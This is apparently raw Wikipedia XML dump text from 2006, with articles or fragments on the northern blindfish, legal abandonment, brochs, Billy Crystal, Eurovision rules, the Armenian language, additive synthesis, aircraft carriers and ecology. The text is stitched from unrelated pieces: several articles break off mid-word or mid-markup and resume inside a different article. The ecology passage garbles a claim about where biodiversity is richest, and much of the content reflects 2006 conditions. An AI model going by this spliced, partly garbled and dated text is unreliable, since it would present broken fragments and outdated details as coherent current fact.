'''Northern Blindfish''', ''Amblyopsis spelea'' is found in caves through [[Kentucky]] and southern [[Indiana]]. It is listed as a threatened species in the United States and the [[IUCN]] lists the species as vulnerable. The [[White River (Indiana)|White River]], flowing east to west south of [[Bedford, Indiana]], delimits the northern range of ''Amblyopsis spelea''. These fish are not found in caves north of the White River. [[Category:Percopsiformes]] ==References== * {{FishBase_species|genus=Amblyopsis|species=spelea|year=2005|month=10}} {{fish-stub}}</text> </revision> </page> <page> <title>Abandonment</title> <id>1044</id> <revision> <id>41712336</id> <timestamp>2006-03-01T05:55:35Z</timestamp> <contributor> <username>CanadianCaesar</username> <id>290432</id> </contributor> <minor /> <comment>Reverted edits by [[Special:Contributions/68.198.223.52|68.198.223.52]] ([[User talk:68.198.223.52|talk]]) to last version by Coolcaesar</comment> <text xml:space="preserve">{{cleanup-date|August 2005}} {{Wiktionarypar|abandonment}} The term '''abandonment''' has a multitude of uses which can generally be broken into legal and extra-legal uses. This &quot;signpost article&quot; provides a guide to the various uses of the word via links to articles that deal with each of the distinct concepts at length. == Uses in law == '''Abandonment''' in law, the relinquishment of an interest, claim, privilege or possession. This broad meaning has a number of applications in different branches of law. *In [[Common law|common law]] jurisdictions, both ''common law abandonment'' and ''statutory abandonment'' of [[Property (ownership right)|property]] may be recognized. A common law abandonment may be generally defined as &quot;the relinquishment of a right [in property] by the owner thereof without any regard to future possession by himself or any other person, and with the intention to foresake or desert the right....&quot; 1 ''Corpus Juris Secundum'' “Abandonment” § 2 (1985) (emphasis added) [footnotes and citations omitted]. Common law abandonment is &quot;the voluntary relinquishment of a thing by its owner with the intention of terminating his ownership, and without [the intention of] vesting ownership in any other person; the giving up of a thing absolutely, without reference to any particular person or purpose....&quot; Id. (emphasis added) [footnotes and citations omitted]. An example of statutory abandonment in a common law jurisdiction is abandonment by a [[Bankruptcy in the United States|bankruptcy trustee]] under {{usc|11|554}}). *Abandonment of an action (see [[Judicature Acts#Specific changes in procedure|Judicature Acts]]), relates to a plaintiff's discontinuance of proceedings ongoing before the [[High Court of Justice of England and Wales]] and which procedure changed substantially as a result of reforms to the judiciary of the United Kingdom in 1875. *In [[marine insurance]] parlance, abandonment involves the surrender of a ship or goods to the insurer. *In the domain of [[copyright]]s, abandonment is recognized as the explicit release of material by a copyright holder into the [[public domain]]. However, statutory abandonment is a relatively unclear area of copyright law and the more common approach is to license work under a scheme that provides for public use rather than strictly abandoning copyright. For more information consult [[Public_domain#Disclaimer of interest|&quot;disclaimer of interest&quot;]]. *In the military practice and law, abandonment of a military post by a soldier can be called [[desertion]], and the condition of being away from that post can be called [[Desertion#AWOL: Away WithOut Leave|being &quot;Away Without Leave&quot;]]. *In family circumstances, [[child abandonment]] is often recognized as a crime, in which case the child is usually not physically harmed directly as part of the abandonment; distinct from this is the widely recognized crime of [[infanticide]]. &lt;!-- '''Abandonment of wife and children''' is sometimes called ''[[desertion]],'' and is somewhat difficult to prove in court. The plaintiff must generally show his or spouse to have left for over a year and failed to pay support, as well as proving that the departure was not agreed upon and also not caused by the plaintiff. Because abandonment by a husband often left his wife and children destitute (and hence a burden upon the public purse), it used to be a [[felony]] in most [[U.S. state|American states]]. At present, nearly all states have abolished the felony of abandonment, but it remains in place in a few states like [[Massachusetts]]. The abandonment or exposure of a young child under the age of two, which is an indictable [[misdemeanor]], is commonly called ''cruelty to children.'' --&gt; * '''Abandonment of domicile''' is the ceasing to reside permanently in a former domicile coupled with the intention of choosing a new domicile. The presumptions which will guide the court in deciding whether a former domicile has been abandoned or not must be inferred from the facts of each individual case. In the United States, a tenant is generally understood to have abandoned a property if he or she has fallen behind in rent and shown a lack of interest in continuing to live there. The landlord must then send notice of the intent to sell the property and wait a certain number of days to take action on it. How long the landlord has to wait depends on the value of the property; the landlord can keep the money up to the costs incurred as a result of the abandonment; the rest must be set aside for the former tenant, should she or he eventually return. * '''Abandonment of an easement''' is the relinquishment of some accommodation or right in another's land, such as right of way, free access of light and air, etc. See [[easement]]. * '''''Abandonment of railways''''' has a legal signification in England recognized by statute, by authority of which the [[Board of Trade]] may, under certain circumstances, grant a warrant to a [[railway]] authorizing the abandonment of its line or part of it. * '''Abandonment of trademark''' is understood to happen when a [[trademark]] is not used for three or more years, or when it is deliberately discontinued; trademark law protects only trademarks being actively used and defended. An example of an abandoned trademark is ''[[aspirin]]'', once a mark of the [[Bayer]] company, now considered a generic term. == Extra-legal uses == Outside of legal circles, '''abandonment''' has additional meanings and uses: * '''''Abandonment''''' is a play about love, death, identity and evolution. It is a complex mixture of social comedy and family drama, reminding us that the past is not as far away as we think. Written by [[Kate Atkinson]]. * '''[[Child abandonment]] in film and literature''': ** ''[[Bachelor Mother]]'' ([[Garson Kanin]]; US, 1939) * '''Abandonment of a patient''', in [[medicine]], is where a health care professional (usually a [[physician]], [[nurse]], [[dentist]], or [[paramedic]]) has already begun emergency treatment of a patient and then suddenly walks away while the patient is still in need, without securing the services of an adequate substitute, or giving the patient adequate opportunity to find one. It is a [[crime]] in many countries and can result in the loss of one's license to practice. Also, because of the [[public policy]] in favor of keeping people alive, the professional cannot defend himself or herself by pointing to the patient's inability to pay for services, the possibility of exposure to malpractice liability beyond one's insurance coverage, or the patient's inability to stop screaming (because of extreme pain). {{Wikisource1911Enc|Abandonment}} [[Category:Legal terms]] [[be:&amp;#1040;&amp;#1073;&amp;#1072;&amp;#1085;&amp;#1076;&amp;#1086;&amp;#1085;]] [[da:Abandon]] [[
ever, this theory has been largely disproven and current thought is that they were built by itinerant craftsmen since so many were built to almost the same exact design. The youngest surviving broch at Mousa dates from 100BC to 100AD with most being older. The distribution of brochs is centred on north west Scotland although isolated examples occur in the [[Scottish Borders|borders]] (for example [[Edin's Hall Broch]]) and near [[Stirling]]. Early in the use of a broch (from the middle of the [[1st millennium BC]] until the early [[3rd century]] AD) they would be used purely as defensive structures, places of refuge for communities and their livestock. As the Iron Age slowly gave way to the early [[Medieval]] period, however, it seems the defensive value of the broch design was lost. They became the [[stately home|Stately homes]] of their time, objects of prestige and superiority for rich merchants. A typical broch is 20 metres in diameter, with 3 metre thick walls. On average, the walls only survive to 4 metres. More often than not, the walls are hollow, containing flat storage spaces (called galleries or cells) and steps to higher floors. Beside the door, it is normal for there to be a cell breaking off from the passage into the central space; this is known as the guard cell although there is no evidence it had any defensive value. However, it has been found in some Shetland brochs that guard cells in entrance passageways are close to large door-check stones. On the [[Orkney Islands|Orkney]] and [[Shetland Islands|Shetland]] Islands there are very few cells at ground floor level. However, brochs in this region have scarcements (ledges) which would have allowed the construction of a very sturdy first floor. [[Image:Scotland Glenelg broch.jpg|thumb|Dun Telve broch, [[Glenelg, Scotland|Glenelg]], Scotland]] Brochs were always placed in locations which were easily defended, close to [[arable land]] and a source of water (many have deep wells or natural springs rising within their central space). They are often built beside the sea and on the site of previous dwellings such as [[Roundhouse (dwelling)|roundhouses]]. Some good examples of brochs on [[Shetland Islands|Shetland]] are [[Mousa Broch]] (the walls here are fully intact, standing some 13m high), at [[Clickimin]] in [[Lerwick]], at [[Levenwick]] and in [[Culswick]]. Elsewhere, in [[Glenelg, Scotland|Glenelg]] (a galleried dun can also be seen here) and at [[Dun Carloway]] on [[Lewis]]. The best brochs in the [[Orkney Islands]] are at [[Gurness]] and [[Midhowe]]. The Shetland Amenity Trust list about 120 sites in [[Shetland]] as candidate brochs. The skills involved in broch building are currently being explored by drystone dyker [http://www.brochbuild.co.uk/ Irwin Campbell]. ==See also== * [[Atlantic Roundhouses]] * [[Crannog]] * [[Hill fort]] * [[Dun]] * [[Tower house]] [[Category:Scottish archaeology]] [[Category:Towers in the United Kingdom]] [[de:Broch (Befestigung)]] [[fr:Broch]]</text> </revision> </page> <page> <title>Billy Crystal</title> <id>4649</id> <revision> <id>41898272</id> <timestamp>2006-03-02T13:32:33Z</timestamp> <contributor> <username>Kchishol1970</username> <id>4428</id> </contributor> <minor /> <comment>/* Career */ - correcting the quote</comment> <text xml:space="preserve">{{dablink|This article describes the American comedian. For the American political commentator, see [[Bill Kristol]].}} [[Image:Billy-crystal.jpg|thumb|150px|Billy Crystal]] '''Billy Crystal''' (born [[March 14]], [[1947]]) is an [[United States|American]] [[actor]], [[writer]], [[film producer|producer]], and [[film director]]. == Personal Life == Crystal was born in [[Long Beach, New York]] to [[Jewish]]-[[United States|American]] parents Jack and Helen Crystal. His father worked at, and later managed, the Commodore Music Shop. His uncle was record producer [[Milt Gabler]]. He went to [[Marshall University]] in [[Huntington, West Virginia]] on a baseball scholarship, having learned the game from his father, who pitched for St. John's University. Crystal, however never played a game at Marshall because the program was suspended during his freshman year and he didn't return as a sophomore, staying back in New York with his future wife. He has been married to Janice Goldfinger, with whom he has two daughters, since 1970. == Career == Crystal returned to New York and studied film and television direction under [[Martin Scorsese]] at [[New York University]]. Crystal's earliest prominent role was as &quot;Jodie Dallas&quot; on ''[[Soap (TV series)|Soap]]'', one of the first [[List of television shows with lesbian, gay, bisexual, or transgendered characters|gay characters]] portrayed on American television. He was scheduled to appear on the first episode of ''[[Saturday Night Live]]'' (October 11, 1975), but his sketch was cut. After hosting a show years later, in [[1984 in television|1984]], he joined the cast. His most famous recurring sketch was his parody of [[Fernando Lamas]]. Crystal's &quot;Fernando&quot; is a smarmy talkshow host whose [[catch phrase]], &quot;You look mahvelous!&quot; became a media sensation. [[Image:Billy_crystal_on_hollywood_squares.jpg|thumb|160px|right|Crystal on ''[[Hollywood Squares]]''.]] He appeared briefly in [[Rob Reiner]]'s [[1984 in film|1984]] &quot;[[rockumentary]]&quot; ''[[This Is Spinal Tap]]''. Eventually, Reiner directed Crystal again in The Princess Bride and then in the romantic comedy ''[[When Harry Met Sally...]]'', for which Crystal was nominated for a [[Golden Globe]]. Crystal wrote, directed and starred in ''[[Forget Paris]]'' ([[1995 in film|1995]]) and ''[[Mr. Saturday Night]]'' ([[1992 in film|1992]]). He directed the made for television movie [[61*]] based on [[Roger Maris]] and [[Mickey Mantle]]'s race to break [[Babe Ruth]]'s single-season home run record in 1961. This earned Crystal an [[Emmy]] nomination for ''Outstanding Directing for a Miniseries, Movie or a Special''. In [[1986]], Crystal started hosting ''[[Comic Relief]]'' on [[Home Box Office|HBO]] with [[Robin Williams]], and [[Whoopi Goldberg]]. Comic Relief, which was founded in [[1986]] by [[Andy Kaufman]] sidekick [[Bob Zmuda]], raises money for homeless men, women and children in the [[United States]]. Crystal hosted the [[Academy Award]]s broadcast in [[1990]], [[1991]], [[1992]], [[1993]], [[1997]], [[1998]], [[2000]] and [[2004]], and, apparently, turned down the opportunity to host the [[2006]] ceremony wanting to concentrate on his one-man show. During the 1992 Academy Awards broadcast, Crystal at one point during the show, looked squarely at the camera and said, &quot;Didn't inhale&quot;, a commentary on then Presidential candidate [[Bill Clinton]] (who had claimed that he &quot;didn't inhale&quot; when smoking [[marijuana]]). The line is considered by some as one of the funniest lines in Academy Awards history. Crystal continued working, appearing in popular films such as &quot;Deconstructing Harry&quot; and then &quot;Analyze This&quot; with [[Robert De Niro]]. &quot;Analyze This&quot; even had a sequel, where both Crystal and De Niro returned, called &quot;Analyze That&quot;. Crystal is preparing for the national tour of his hit solo show ''[[700 Sundays]]''. The two-act play, which he conceived and wrote, is about his parents and his childhood growing up on [[Long Island]]. Crystal won the 2005 [[Tony Award]] for Best Special Theatrical Event for ''700 Sundays'' and will bring the show back to Broadway for a limited run in 2006. Following the initial success of the play, Crystal wrote the book ''700 Sundays'' for [[Warner Books]], which was published on [[October 31]], [[2005]]. In conjunction with the book and the play, which also paid tribute to Gabler, Crystal produced two CD compilations: ''Billy Crystal Presents: The Milt Gabler Story'' featured the most influential recordings his uncle produced from [[Billie Holiday]]'s &quot;[[Strange Fruit]]&quot; to &quot;[[Rock Around the Clock]]&quot; by [[Bill Haley &amp; His Comets]]; ''Billy Remembers Billie'' featured Crystal's favorite Holiday recordings. Crystal has lend his voice to an animated character in [[2001]]'s ''Monsters, Inc.'' as the voice of Mike, and in the English version of ''Howl's Moving Castle'' as the voice of [[Calcifer]]. On Tuesday [[September 6]], [[2005]] on [[The Tonight Show]] Crystal and [[Jay Leno]] were the first celebrities to sign a [[Harley-Davidson]] motorcycle to be auctioned off for Gulf Coast relief. [[Image:CitySlickers.png|thumb|120px|right|Bill Crystal on ''City Slickers'' DVD cover]] == Filmography == * ''[[Rabbit Test (1978)|Rabbit Test]]'' - (1978) as &quot;Lionel Carpenter&quot; * ''[[Animalympics]]'' - (1980) (voiceover) as &quot;Lodge Turkell&quot; * ''[[This Is Spinal Tap]]'' - (1984) as &quot;Morty the Mime&quot; * ''[[Running Scared (film)|Running Scared]]'' - (1986) as &quot;Danny Costanzo&quot; * ''[[The Princess Bride (film)|The Princess Bride]]'' - (1987) as &quot;Miracle Max&quot; * ''[[Throw Momma from the Train]]'' - (1987) as &quot;Larry Donner&quot; * ''[[Memories of Me]]'' - (1988) as Abbie * ''[[When Harry Met Sally...]]'' - (1989) as &quot;Harry Burns&quot; * ''[[City Slickers]]'' (1991) as &quot;Mitch Robbins&quot; * ''[[Horton Hatches the Egg]]'' (1992) narrator (voice) * ''[[Mr. Saturday Night]]'' (1992) as &quot;Buddy Young, Jr.&quot; * ''[[City Slickers II: The Legend of Curly's Gold]]'' (1994) as &quot;Mitch Robbins&quot; * ''[[Forget Paris]]'' (1995) as &quot;Mickey Gordon&quot; (also directed by Billy Crystal) * ''[[Hamlet (1996 film)|Hamlet]]'' (1996) as &quot;First Gravedigger&quot; * ''[[Deconstructing Harry]]'' (1997) as &quot;Larry/The Devil&quot; * ''[[My Giant]]'' (1998) as &quot;Sam 'Sammy' Kamin&quot; * ''[[Analyze This]]'' (1999) as &quot;Ben Sobel, M.D.&quot; * ''[[America's Sweethearts]]'' (200
s. In a tie, it is the country with the most 12-points awarded to them that wins. * The winning country recieves the honour of hosting the next year's Contest. The programme can reach a potential television audience of more than one billion. Any member of the EBU (even those outside Europe) may participate in the Contest. Of these non-European members, only [[Israel in the Eurovision Song Contest|Israel]] and [[Morocco in the Eurovision Song Contest|Morocco]] have participated in the Contest. Lebanon were planned to enter the 2005 contest, but they were disqualified because they admitted that they could not be sure the broadcast wouldn't be cut whilst Israel were performing. The theme music played before and after the broadcasts of the Eurovision Song Contest (and other Eurovision broadcasts) is the prelude to [[Marc-Antoine Charpentier]]'s setting of [[Te Deum]]. The Eurovision even has its own dedicated Wiki at [http://www.eurovisionwiki.com The Eurovision Wiki] ==History== See [[History of the Eurovision Song Contest]] ==Rules== The official rules of the Contest are long, technical, and ever-changing. Many of the rules cover technical aspects of the television broadcast itself. However, a few of the more important rules affecting the conduct and outcome of the Contest follow. [http://www.eurovision.tv/searchfiles_english/574.htm (Link to the full rules for the 2005 Contest)] ===Number of Songs=== Each country is entitled to enter just one song. The Contest final is limited to 24 songs. For the [[Eurovision Song Contest 2006|2006]] Contest in Greece, the countries that will take those places fall into three categories. # The countries with the ten highest scores in the final of the 2005 Contest. (Greece, Malta, Romania, Israel, Latvia, Moldova, Serbia and Montenegro, Switzerland, Norway, and Denmark) # The four largest contributors to the EBU general budget. (France, Germany, Spain, United Kingdom) # The countries with the ten highest scores in the semi-final of the 2006 Contest. (To be chosen from among Albania, Andorra, Armenia, Belarus, Belgium, Bosnia &amp; Herzegovina, Bulgaria, Croatia, Cyprus, Denmark, Estonia, Finland, Hungary, Iceland, Ireland, Lithuania, Macedonia, Monaco, Netherlands, Poland, Portugal, Russia, Slovenia, Sweden, Turkey, and Ukraine) At the first Contest, each country was allowed to submit two three-minute (or less) songs. The number of participating countries has grown throughout the Contest's history, and since [[Eurovision Song Contest 1993|1993]] the rules have been changed several times to both limit the number of finalists and to allow for participation by former [[Soviet Union|Soviet]] and [[Socialist Federal Republic of Yugoslavia|Yugoslav]] republics, [[Warsaw Pact]] nations and others. ===Performers=== Current rules state that countries are allowed to have up to six performers on stage. Performers must be aged 16 or more, on [[31 December]] in the year of the Contest. No restriction on the nationality of the performers exists, which has resulted in countries being represented by artists who are not nationals of that country. One of the most well-known winning artists, Canadian Céline Dion represented Switzerland in [[Eurovision Song Contest 1988|1988]]. To place a restriction would be difficult in that, in [[Northern Ireland]] for example, some may wish to enter, who would consider themselves Irish, and therefore prefer to enter for Ireland, rather than the UK. ===Languages=== From the first Contest in 1956 until 1965, and again from 1973 until [[Eurovision Song Contest 1976|1976]] there was no restriction on language. From [[Eurovision Song Contest 1966|1966]] until [[Eurovision Song Contest 1972|1972]], and again from [[Eurovision Song Contest 1978|1978]] until 1998, songs were required to be performed in a national language. The national language rule was actually instituted shortly before the [[Eurovision Song Contest 1977|1977]] Contest, but some countries had already selected non-national language entries, and they were allowed to enter without any changes. As of the [[Eurovision Song Contest 1999|1999]] Contest, the restriction was again lifted, and songs may be performed in any language. As a result, many of the songs are performed partially or completely in [[English language|English]]. In [[Eurovision Song Contest 2003|2003]], Belgium made full use of the so-termed ''free language rule'', and entered a song in an artificial language created especially for the song. ====The Language Issue==== Because many European states were founded on ideas of linguistic unity, and because of the sometimes-unwelcome dominance of the English language in modern pop music, the language of a country's Eurovision entry can be a contentious issue. Some entries are performed in English to reach broader audiences, though this is sometimes looked upon as unpatriotic. In some cases, the lyrics are written and recorded in two different versions (usually English and a national language) or a single multi-language version. Examples include: * Denmark, where the national selection procedure allows freedom of language, but if the winning song from their national competition is in [[Danish language|Danish]], it must be re-written in English for the competition. * Macedonia, who held a vote to decide whether their 2005 song should be in English or [[Macedonian language|Macedonian]]. * France, whose entry in [[Eurovision Song Contest 2001|2001]] was performed partially in [[French language|French]] and partially in English. ==Voting== Currently, the Contest winner is selected by means of a modified version of the [[Borda count]]. Each country ranks all the entries and assigns 12 points to their favourite entry; 10 points to their second favourite entry; and 8, down to 1 point to their third to tenth favourites. Countries are not allowed to vote for themselves. The current method for ranking entries is by a [[telephone]] vote ([[televoting]]) among the viewers. In the past, small demographically balanced juries were used to rank the entries. Juries are still used when televoting malfunctions or is impractical. For example, in [[Eurovision Song Contest 2003|2003]] [[Eircom]]'s telephone polls system ceased to operate normally. The Irish broadcaster, [[RTÉ]], did not receive the votes on time and instead used a panel of judges. (Later, the Russian entry [[t.A.T.u.]] held Ireland responsible for Russia losing the Contest. Just three points separated Russia and winners Turkey. The Russian act insisted that had Ireland used a phone vote they would have been awarded more points and taken the title. No evidence exists to back up this claim, however.) The 1956 Contest did not have regional voting. The [[BBC]] had used the idea of contacting regional [[jury|juries]] by telephone in their national competition to choose their 1956 song. Bizarrely, the UK's song was chosen after the date of the international final but the EBU adopted the idea of contacting the international juries by telephone and this was introduced in 1957 and used until 1993. In 1994, the Contest saw the first satellite 'vision' link-up to juries. See below. The presenters of the Contest connect by satellite to each country in turn, inviting the spokesperson to read out that country's votes in French or English. The presenters then repeat the votes in the alternate language, following the formula: &quot;''Country name'', ''number'' points. ''Nom du pays'', ''nombre'' points&quot; (but putting French first if the spokesperson is reading the points in French). For example: &quot;''Belgium'', ''twelve'' points. ''La Belgique'', ''douze'' points.&quot; ===Tie-breakers=== In the event of a tie for first place after all the points have been announced, there is a tie-break procedure. It was realised that a tie-break procedure need be predetermined following the [[Eurovision Song Contest 1969|1969]] Contest, where [[France in the Eurovision Song Contest|France]], the [[Netherlands in the Eurovision Song Contest|Netherlands]], [[Spain in the Eurovision Song Contest|Spain]] and the [[United Kingdom in the Eurovision Song Contest|United Kingdom]] tied for first place. In 1969, since no tie-breaking system had been previously decided, it was determined that all four countries be jointly awarded the title. As the rules currently stand, the first tie-breaker is to count the number of countries who assigned any points to each entry in the tie. If there is still a tie, the second tie breaker is to count the number of countries who assigned 12 points to each entry in the tie. Tie-breaks continue with 10 points, 8 points, and so on until the tie is resolved. Ties for other places are only officially resolved if they matter for qualification purposes (see below). In the past, a number of different voting systems were used, with varying degrees of success. See [[Voting at the Eurovision Song Contest]] for more details. ===Nul Points=== Since each of the participating countries casts a series of votes, it is rare that a song fails to receive any votes at all. Under the modern rules this means that the song failed to make the top ten most popular songs in ''any'' country. When it does happen, it is known as ''nul points'' (pron. nool pwa'), from the practice of reading results in French as well as English during the broadcast. It should be noted, however, that the phrase ''nul points'' is never actually read out during the presentation of the Contest. Entries which received ''nul points'', since the introduction of the current scoring system in [[Eurovision Song Contest 1975|1975]] are as follows: * In [[Eurovision Song Contest 1978|1978]], Norway's &quot;Mil etter mil&quot; by [[Jahn Teigen]]. * In 1981, Norway's &quot;Aldri i livet&quot; by [[Finn Kalvik]]. * In [[Eurovision Song Contest 1982|1982]], Finland's &quot;Nuku pommiin&quot; by [[Kojo]]. * In [[Eurovision Song Contest 1983|1983]], two entries: Turkey's &quot;Opera&quot; by [
rmenian.htm List of online Armenian-related resources] Armenian Language Samples: * [http://www.language-museum.com/a/armenian.php Armenian] * [http://www.language-museum.com/a/armenian-constantinople.php Armenian Western] * [http://www.language-museum.com/a/armenian-eastern.php Armenian Eastern] Armenian Dictionaries Online: * [http://www.nayiri.com Nayiri.com] - This site spell checks and has a plug-in for Internet Explorer allowing quick searches on any Armenian website [[Category:Armenian languages]] [[Category:Languages of Armenia]] [[Category:Languages of Turkey]] [[bg:Арменски език]] [[be:Армянская мова]] [[ca:Armeni]] [[cs:Arménština]] [[da:Armensk (sprog)]] [[de:Armenische Sprache]] [[et:Armeenia keel]] [[es:Idioma armenio]] [[eo:Armena lingvo]] [[fa:زبان ارمنی]] [[fr:Arménien]] [[ko:아르메니아어]] [[hy:Հայերեն]] [[id:Bahasa Armenia]] [[it:Lingua armena]] [[he:שפות ארמניות]] [[hu:Örmény nyelv]] [[nl:Armeens]] [[ja:アルメニア語]] [[pl:Język ormiański]] [[pt:Língua arménia]] [[ro:Limba armeană]] [[ru:Армянский язык]] [[sl:Armenščina]] [[fi:Armenian kieli]] [[sv:Armeniska]] [[th:ภาษาอาร์เมเนีย]] [[tr:Ermenice]] [[wa:Årmenyin]] [[zh:亚美尼亚语]]</text> </revision> </page> <page> <title>Additive synthesis</title> <id>2218</id> <revision> <id>39944186</id> <timestamp>2006-02-17T00:09:56Z</timestamp> <contributor> <username>The 27th letter</username> <id>722609</id> </contributor> <text xml:space="preserve">'''Additive synthesis''' is a technique of audio synthesis which creates [[music]]al [[timbre]]. The timbre of an instrument is composed of multiple [[harmonic]]s, in different quantities, that change over time. Additive synthesis emulates such timbres by creating numerous waveforms pitched to different harmonics, with a different [[amplitude]] envelope on each, along with non-harmonic artifacts. Usually this involves a bank of [[numerically controlled oscillator|oscillators]] tuned to multiples of the base frequency. Often, each oscillator has its own customizable volume envelope, creating a realistic, dynamic sound. The concept behind additive synthesis may be related to discoveries by the French mathematician [[Joseph Fourier]]. Fourier discovered that discontinuous functions are formed by the summation of an infinite series. Following this, it was established that all signals, when represented as a mathematical function, can be composed as a sum of sine functions ( sin(''x'') ) of various frequencies. More rigorously, any periodic sound in the [[discrete time]] domain can be synthesized as follows: :&lt;math&gt;s(n) = \frac{1}{2} a_0(n) + \sum_{k=1}^{k_{\max}} a_k(n) \cos\left( \frac{2 \pi f_0}{F_s} k n \right)-b_k(n) \sin\left( \frac{2 \pi f_0}{F_s} k n \right)&lt;/math&gt; or :&lt;math&gt;s(n) = \frac{1}{2} a_0(n) + \sum_{k=1}^{k_{\max}} r_k(n) \cos\left( \frac{2 \pi f_0}{F_s} k n +\varphi_k(n) \right)&lt;/math&gt; where :&lt;math&gt;a_k(n) = r_k(n) \cos \left( \varphi_k(n) \right) \,&lt;/math&gt;, &lt;math&gt;b_k(n) = r_k(n) \sin \left( \varphi_k(n) \right) \,&lt;/math&gt; and &lt;math&gt;F_s \,&lt;/math&gt; is the sampling frequency, &lt;math&gt;f_0 \,&lt;/math&gt; is the fundamental frequency, and &lt;math&gt;k_{\max}&lt;\operatorname{floor}(F_s/2 f_0) \,&lt;/math&gt; is the highest harmonic and below the [[Nyquist frequency]]. The [[direct current|DC]] term is generally undesirable in audio synthesis, so the a&lt;sub&gt;0&lt;/sub&gt; term can be removed. Introducing time varying coefficients ''r''&lt;sub&gt;''k''&lt;/sub&gt;(''n'') allows for the dynamic use of envelopes to modulate oscillators creating a &quot;quasi-periodic&quot; waveform (one that is periodic over the short term but changes its waveform over the longer term). Additive synthesis can also create non-[[harmonic]] sounds if the individual [[partial]]s are not all having a frequency that is an integer multiple of the same [[fundamental frequency]]. A classic additive synthesizer was the [[Synclavier]]. The pipe organ may also qualify as an additive synthesizer because its pipes generate sine waves when blown, which are added to each other to generate tones. More contemporary popular implementations of additive synthesis include the [[Kawai]] K5000 series of synthesizers in the [[1990s]] and, more recently, [[software synthesizer]]s such as the [[Camel Audio]] Cameleon, the [[VirSyn]] Cube, [[White Noise]] WNAdditive, and the [[ConcreteFX]] softsynth Adder. It has been shown in [http://www.musicdsp.org/files/Wavetable-101.pdf Wavetable Synthesis 101, A Fundamental Perspective], that [[wavetable synthesis]] is equivalent to additive synthesis in the case that all [[partial]]s or [[overtone]]s are [[harmonic]] (that is all overtones are at frequencies that are an integer multiple of a [[fundamental frequency]] of the tone as shown in the equation above). Not all musical sounds have harmonic partials, (e.g. [[bell (instrument) | bell]]s) but many do. In these cases, an efficient implementation of additive synthesis can be accomplished with wavetable synthesis. '''Group additive synthesis''' is a method to group partials into harmonic groups (of differing fundamental frequencies) and synthesize each group separately with wavetable synthesis before mixing the results. ==See also== * [[Harmonic series (music)]] * [[Fourier series]] * [[Frequency modulation synthesis]] * [[Subtractive synthesis]] * [[Wavetable synthesis]] * [[Digital waveguide synthesis]] * [[Physical modelling synthesis]] [[Category:Harmonic analysis]] [[de:Additive Synthese]] [[nl:Additieve synthese]]</text> </revision> </page> <page> <title>Aircraft carrier</title> <id>2219</id> <revision> <id>42082511</id> <timestamp>2006-03-03T18:32:16Z</timestamp> <contributor> <username>Ixfd64</username> <id>6284</id> </contributor> <minor /> <comment>Reverted edits by [[Special:Contributions/216.62.101.53|216.62.101.53]] ([[User talk:216.62.101.53|talk]]) to last version by 192.195.234.26</comment> <text xml:space="preserve"> {|align=right | [[Image:USS_Stennis_HMS_Illustrious.jpg|thumb|250px|Two aircraft carriers, [[USS John C. Stennis (CVN-74)|USS ''John C. Stennis'']] (left), and [[HMS Illustrious (R06)|HMS ''Illustrious'']] (right), showing the difference in size between a [[supercarrier]] and a light [[V/STOL]] aircraft carrier.]] |- | [[Image:Carrier Admiral Kuznetsov.jpg|thumb|250px|The Russian aircraft carrier [[Soviet aircraft carrier Kuznetsov|''Kuznetsov'']].]] |- | [[Image:Gaule96.jpg|thumb|250px|The French aircraft carrier [[FS Charles de Gaulle|''Charles de Gaulle'']].]] |} An '''aircraft carrier''' is a [[warship]] whose main role is to deploy and recover [[aircraft]]&amp;mdash;in effect acting as a sea-going airbase. Aircraft carriers thus allow a naval force to project [[air power]] great distances without having to depend on local bases for land-based aircraft. Modern navies who operate such ships, treat aircraft carriers as the centerpiece of the fleet, a role previously played by the [[battleship]]. The change, part of the growth of air power as a significant part of warfare, took place during [[World War II]]. Unescorted carriers are considered vulnerable to attack by other ships, aircraft, submarines or missiles and therefore travel as part of a [[carrier battle group]]. In many navies, especially the [[United States Navy]], an aircraft carrier is a [[capital ship]]. ==Flight deck configuration== [[Image:Enterprise Returns.JPG|thumb|right|250px|The island of [[USS Enterprise (CVN-65)|USS ''Enterprise'']].]] Modern aircraft carriers have a flat-top deck, the [[flight deck]] that serves as a [[take off|take-off]] and [[landing]] area for aircraft. Aircraft take off to the front, into the wind, and land from the rear. Carriers steam at speed, for example up to 35 [[knot (nautical)|knots]] (65 km/h), into the wind during take-off in order to increase the [[apparent wind]] speed, thereby reducing the speed of the aircraft relative to the ship. On some ships, a steam-powered [[Aircraft catapult|catapult]] is used to propel the aircraft forward assisting the power of its engines and allowing it to take off in a shorter distance than would otherwise be required, even with the headwind effect of the ship's course. On other carriers, aircraft do not require assistance for take off — the requirement for assistance relates to aircraft design and performance. Conversely, when landing on a carrier, some aircraft rely upon a [[tailhook]] that catches on [[arrestor wires]] stretched across the deck to bring them to a stop in a shorter distance than normal. Other aircraft utilise their hover capability to land vertically and so require no assistance in speed reduction upon landing. Since the end of [[World War II]] it has been common to direct the landing recovery area off to port at an angle to the line of the ship. The primary function of the angle deck landing area is to allow aircraft who miss the arresting wires, refered to as a &quot;bolter&quot;, to become airborne again without the risk of hitting aircraft parked on the forward parts of the deck. The angle deck also allows launching of aircraft at the same time as others land. The above deck areas of the warship (the [[bridge (ship)|bridge]], flight [[control tower]], engine exhausts and so on) are concentrated to the [[starboard]] side of the deck in a relatively small area called an &quot;island&quot;. Very few carriers have been designed or built without an island and such a configuration has not been seen in a fleet sized carrier. A more recent configuration, used by the [[Royal Navy]], has a 'ski-jump' ramp at the forward end of the flight deck. This was developed to help launch [[VTOL]] (or [[STOVL]]) aircraft (aircraft that are able to take off and land with little or no forward movement) such as the [[BAE Sea Harrier|Sea Harrier]]. Although t
ne may find [[photosynthesis|photosynthetic]] [[algae]] only in the ''photic'' part of the ocean (where light penetrates), while [[conifer]]s are mostly found in mountains. Though this is a simplification of more complicated scheme, [[latitude]] and [[altitude]] approximate a good representation of the distribution of [[biodiversity]] within the biosphere. Very generally, the richness of biodiversity (as well for animal than plant species) is decreasing most rapidly near the [[equator]] (as in [[Brazil]]) and less rapidly as one approaches the poles. The biosphere may also be divided into [[ecozone]], which are very well defined today and primarily follow the continental borders. The ecozones are themselves divided into [[ecoregions]], though there is not agreement on their limits. === Ecosystem productivity === In an ecosystem, the connections between species are generally related to [[food]] and their role in the [[food chain]]. There are three categories of organisms: * ''Producers'' -- plants which are capable of [[photosynthesis]] * ''Consumers'' -- animals, which can be primary consumers ([[herbivorous]]), or secondary or tertiary consumers ([[carnivorous]]). * ''Decomposers'' -- [[bacterium|bacteria]], [[mushrooms]] which degrade organic matter of all categories, and restore minerals to the environment. These relations form sequences, in which each individual consumes the preceding one and 